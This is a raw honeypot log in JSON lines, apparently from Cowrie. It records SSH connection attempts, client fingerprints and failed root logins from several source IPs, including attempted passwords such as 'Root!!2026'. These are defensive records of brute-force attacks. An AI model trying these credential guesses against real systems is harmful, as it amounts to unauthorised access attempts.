{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":40032,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc943d9ff0fe","protocol":"ssh","message":"New connection: 161.35.205.74:40032 (10.17.0.5:22) [session: dc943d9ff0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:58.668882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:58.672502Z","src_ip":"161.35.205.74","session":"dc943d9ff0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:58.753991Z","src_ip":"161.35.205.74","session":"dc943d9ff0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1l2e3x4","message":"login attempt [root/a1l2e3x4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:59.117584Z","src_ip":"161.35.205.74","session":"dc943d9ff0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:59.227517Z","src_ip":"192.169.244.109","session":"305f3594877f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:00.202214Z","src_ip":"161.35.205.74","session":"dc943d9ff0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.64681529998779,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:18.708699Z","src_ip":"170.64.224.25","session":"4fccb51d200b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46282,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3e2ad08f89","protocol":"ssh","message":"New connection: 143.20.185.207:46282 (159.203.135.109:22) [session: ac3e2ad08f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:25.544025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:25.547553Z","src_ip":"143.20.185.207","session":"ac3e2ad08f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:25.661149Z","src_ip":"143.20.185.207","session":"ac3e2ad08f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA4VCPU16GBAMD","message":"login attempt [root/RASYAXINSA4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:26.112544Z","src_ip":"143.20.185.207","session":"ac3e2ad08f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:27.240729Z","src_ip":"143.20.185.207","session":"ac3e2ad08f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.58.144.12","src_port":52110,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0f258006f03","protocol":"ssh","message":"New connection: 31.58.144.12:52110 (10.17.0.5:22) [session: d0f258006f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:39.588874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:39.592822Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:39.696319Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:f0:51:1a:e5:89:fc:9c:5b:b4:6d:46:db:bc:bd:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGDL6rJ/eBfNcVh4//gV6ssdKqOB2EdEq4P00p1+0BU9RNvbE4vplQBNHILnOVOifxhmi7RvSLdmmJnwuedUNqbjKRmX+vyWkKhsu8ri4x1qzfWp4RTxYz7gPliGTBAuvPHbSF7//1KW+voYoWG8wsc3DugydwfxaQ2tla/XcBRG4o2zXFhI/LLnbieHsYm+7jT1l4Fl8oE2Yz3AqSW8h0J/vPG7AwPBR9pzh3hmU+ONhCFQj0+/lsEr5kqpxPx5xN5d+yo1rWVkqBLq/a6KAUw/jG7gVyskqtRKtiK71LlB/OFy9EHoErdqTJw8z8g9BeHwIm1oi2m0MRx8cB/pqn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:f0:51:1a:e5:89:fc:9c:5b:b4:6d:46:db:bc:bd:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.128344Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:f0:51:1a:e5:89:fc:9c:5b:b4:6d:46:db:bc:bd:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGDL6rJ/eBfNcVh4//gV6ssdKqOB2EdEq4P00p1+0BU9RNvbE4vplQBNHILnOVOifxhmi7RvSLdmmJnwuedUNqbjKRmX+vyWkKhsu8ri4x1qzfWp4RTxYz7gPliGTBAuvPHbSF7//1KW+voYoWG8wsc3DugydwfxaQ2tla/XcBRG4o2zXFhI/LLnbieHsYm+7jT1l4Fl8oE2Yz3AqSW8h0J/vPG7AwPBR9pzh3hmU+ONhCFQj0+/lsEr5kqpxPx5xN5d+yo1rWVkqBLq/a6KAUw/jG7gVyskqtRKtiK71LlB/OFy9EHoErdqTJw8z8g9BeHwIm1oi2m0MRx8cB/pqn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.131220Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:32:46:a7:ca:5d:0d:5a:6a:55:9e:c4:47:f7:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZNG/sNGjLPVjugxdAQMmi9nSIgSFfzCHE/r5N/cZe0W13tQLyuuH1Fth3JKzvxzf4u2ZfdmC6CPpqIYmfWNuXigu6XaYR1ruG3o5d+Xz6JljOJTNMnzRSQAOn8XdvL8o6Z5kStxaPTWd5t2l8+LubAU7wUTJX9FJTf2xQZwa2QzqTKgPPJALZqVclzSEnNZZD5bQ0CRNqHx8ctA3BymmSRYn5YHZ/gYBQwUvVlMWmnuNwEBFKFH1xJ2hGoVUPQhUtbYWZqJDMgM+bsmRpzjevzTUtLVTN6/bxNe5NgrSoZJfqSDDICyH9ss3rhdvo3IQUvR6r52WhtAFwBzL14Gcr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:32:46:a7:ca:5d:0d:5a:6a:55:9e:c4:47:f7:3c:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.222904Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:32:46:a7:ca:5d:0d:5a:6a:55:9e:c4:47:f7:3c:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZNG/sNGjLPVjugxdAQMmi9nSIgSFfzCHE/r5N/cZe0W13tQLyuuH1Fth3JKzvxzf4u2ZfdmC6CPpqIYmfWNuXigu6XaYR1ruG3o5d+Xz6JljOJTNMnzRSQAOn8XdvL8o6Z5kStxaPTWd5t2l8+LubAU7wUTJX9FJTf2xQZwa2QzqTKgPPJALZqVclzSEnNZZD5bQ0CRNqHx8ctA3BymmSRYn5YHZ/gYBQwUvVlMWmnuNwEBFKFH1xJ2hGoVUPQhUtbYWZqJDMgM+bsmRpzjevzTUtLVTN6/bxNe5NgrSoZJfqSDDICyH9ss3rhdvo3IQUvR6r52WhtAFwBzL14Gcr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.225669Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:5e:27:00:26:4c:58:4a:72:08:48:08:ab:b8:5c:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2H3+XZqp3AIsnUX5RmPYka5vh1+TVakEHyKQO/m7mlM/VKf2+cnmRTGCheRM9H0PWNBOswDv6jvjNYOq2B9uhYlsGkwUu4AIXnL3eN5IXozlHMqU0/PulAOI22CVQ4WDsNdmxyNkDr921kb3yi+yqzYbJMH/v+vcaq6NxFVfgKRR9o0l4EbeAs3nnDZWIpY2Hud9O9+yjDO6O2uCG493wVWzcQ4R809BtagAtgGMgs+3P3xpYuoJdjz11zlemkgZ4SuWoKbGBD5RWbi+aaKOh2Ez26xMeABEE15hW50UKsTNj1t09qnt8+7SagiN1/w5c/s4bNHXWyqRhlHKs3TPJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:5e:27:00:26:4c:58:4a:72:08:48:08:ab:b8:5c:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.312751Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:5e:27:00:26:4c:58:4a:72:08:48:08:ab:b8:5c:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2H3+XZqp3AIsnUX5RmPYka5vh1+TVakEHyKQO/m7mlM/VKf2+cnmRTGCheRM9H0PWNBOswDv6jvjNYOq2B9uhYlsGkwUu4AIXnL3eN5IXozlHMqU0/PulAOI22CVQ4WDsNdmxyNkDr921kb3yi+yqzYbJMH/v+vcaq6NxFVfgKRR9o0l4EbeAs3nnDZWIpY2Hud9O9+yjDO6O2uCG493wVWzcQ4R809BtagAtgGMgs+3P3xpYuoJdjz11zlemkgZ4SuWoKbGBD5RWbi+aaKOh2Ez26xMeABEE15hW50UKsTNj1t09qnt8+7SagiN1/w5c/s4bNHXWyqRhlHKs3TPJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.315369Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:e8:cf:0a:c8:d8:fa:79:78:60:36:49:a4:36:71:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJsfpDVyU20KxUnoDPnYV4YN6ryKnEX5vkZdbLBrfTOvOXztzbkaJxRXLzVAOjgYMe6HQNPMryGBcOVcG+0/ndy70Tx3Fashr0lwFu6Vtnduvw4pl1E4lxdZR+mBs6ytNPgWyx7u4JkabeP/irW5nb+EE7WcBivvPMNtFEfexzleDM5n6hJvRn3loxUNUbneWovhlargh8PLCiwFTeot9FpjoR4Ppwquk1UHWNfFQvyTFb+FKJQMRUWpRJM28BUwJLVI7GvUl3CuXRFBNjEeis+gAtmaBVGrJvAs412JuJhk8ltYVxercbZlmP/e9kr1pDYe87qfo4Wud8yprJqJHlS0Wq4kbPLa8gfvSmbiQLycotP6W3Wvnlv4sWm9EBC85eZWqKTIeCVwZ2YUG7PiHYUth6TfPpSRKAimklYqFmCkiPRDoewcpIRq3Cc9TtENYZ8Sa01WQrrMiKdAWdoQz+p8CWr6hPY5zXhZha2T/Mjr8zdYXQS9oQFIxgRpaiH3YAHDNctEXkcq/5ygH8T7ELPaRhf0pbWsdIgVmXX6AkW7r19Gt+ZRvNHTv52RMEnI1FZPl4/NeqZKYAekh7OnI/wWMxbIYoc7qrvZn3/Hk1p3AU6tpC5z59aKnIxmrOIdLGEsXeAzt8kIPyMnWl1PAcFEnPwnBk0ZpRatRm4s/tTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:e8:cf:0a:c8:d8:fa:79:78:60:36:49:a4:36:71:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.414506Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:e8:cf:0a:c8:d8:fa:79:78:60:36:49:a4:36:71:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJsfpDVyU20KxUnoDPnYV4YN6ryKnEX5vkZdbLBrfTOvOXztzbkaJxRXLzVAOjgYMe6HQNPMryGBcOVcG+0/ndy70Tx3Fashr0lwFu6Vtnduvw4pl1E4lxdZR+mBs6ytNPgWyx7u4JkabeP/irW5nb+EE7WcBivvPMNtFEfexzleDM5n6hJvRn3loxUNUbneWovhlargh8PLCiwFTeot9FpjoR4Ppwquk1UHWNfFQvyTFb+FKJQMRUWpRJM28BUwJLVI7GvUl3CuXRFBNjEeis+gAtmaBVGrJvAs412JuJhk8ltYVxercbZlmP/e9kr1pDYe87qfo4Wud8yprJqJHlS0Wq4kbPLa8gfvSmbiQLycotP6W3Wvnlv4sWm9EBC85eZWqKTIeCVwZ2YUG7PiHYUth6TfPpSRKAimklYqFmCkiPRDoewcpIRq3Cc9TtENYZ8Sa01WQrrMiKdAWdoQz+p8CWr6hPY5zXhZha2T/Mjr8zdYXQS9oQFIxgRpaiH3YAHDNctEXkcq/5ygH8T7ELPaRhf0pbWsdIgVmXX6AkW7r19Gt+ZRvNHTv52RMEnI1FZPl4/NeqZKYAekh7OnI/wWMxbIYoc7qrvZn3/Hk1p3AU6tpC5z59aKnIxmrOIdLGEsXeAzt8kIPyMnWl1PAcFEnPwnBk0ZpRatRm4s/tTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.417254Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:32:41:2e:ac:27:66:30:be:f4:09:1a:d4:71:48:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoR0EFqN0EIacaY0rSz3W5qSsdvUCsLsKn6N0Ro02bq3C2FG/IXXJPmZT8MTrtJ2+YztYCuXT86IV9jn0fCNO28pjq7bDeLbKnfxVIxVpT8XHJ8MXDLtZ1FFX/Hk0l5M8IwgCN+Pe0mnG3k1Ro+G8QX/QyjUv9/zZfx6CmzdQtAmerbyxsNslsH0LF33d8f66VLBlGtk1uHsO+RGvoHB+upJzmVICf2uzytJGEaN8fTx3Qr2AeOyTboUP/N69tXRnWr8VbgNLsmLeAb1OnNWs4QA4QeFYeCyBbRsn6C8f1eLpw2PDDNPwazGuCQsqWt7ZeXBOKXz8ggpWwfzYnPjcr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:32:41:2e:ac:27:66:30:be:f4:09:1a:d4:71:48:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.512403Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:32:41:2e:ac:27:66:30:be:f4:09:1a:d4:71:48:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoR0EFqN0EIacaY0rSz3W5qSsdvUCsLsKn6N0Ro02bq3C2FG/IXXJPmZT8MTrtJ2+YztYCuXT86IV9jn0fCNO28pjq7bDeLbKnfxVIxVpT8XHJ8MXDLtZ1FFX/Hk0l5M8IwgCN+Pe0mnG3k1Ro+G8QX/QyjUv9/zZfx6CmzdQtAmerbyxsNslsH0LF33d8f66VLBlGtk1uHsO+RGvoHB+upJzmVICf2uzytJGEaN8fTx3Qr2AeOyTboUP/N69tXRnWr8VbgNLsmLeAb1OnNWs4QA4QeFYeCyBbRsn6C8f1eLpw2PDDNPwazGuCQsqWt7ZeXBOKXz8ggpWwfzYnPjcr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.515139Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:40.625580Z","src_ip":"31.58.144.12","session":"d0f258006f03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":54950,"dst_ip":"159.203.135.109","dst_port":22,"session":"f94933e14068","protocol":"ssh","message":"New connection: 181.116.220.251:54950 (159.203.135.109:22) [session: f94933e14068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:42.891082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:42.894675Z","src_ip":"181.116.220.251","session":"f94933e14068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:43.048081Z","src_ip":"181.116.220.251","session":"f94933e14068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!!2026","message":"login attempt [root/Root!!2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:43.696056Z","src_ip":"181.116.220.251","session":"f94933e14068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:44.852794Z","src_ip":"181.116.220.251","session":"f94933e14068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":53368,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e16e79943a6","protocol":"ssh","message":"New connection: 161.35.205.74:53368 (10.17.0.5:22) [session: 0e16e79943a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:47.144823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:24:47.149527Z","src_ip":"161.35.205.74","session":"0e16e79943a6","protocol":"ssh"}
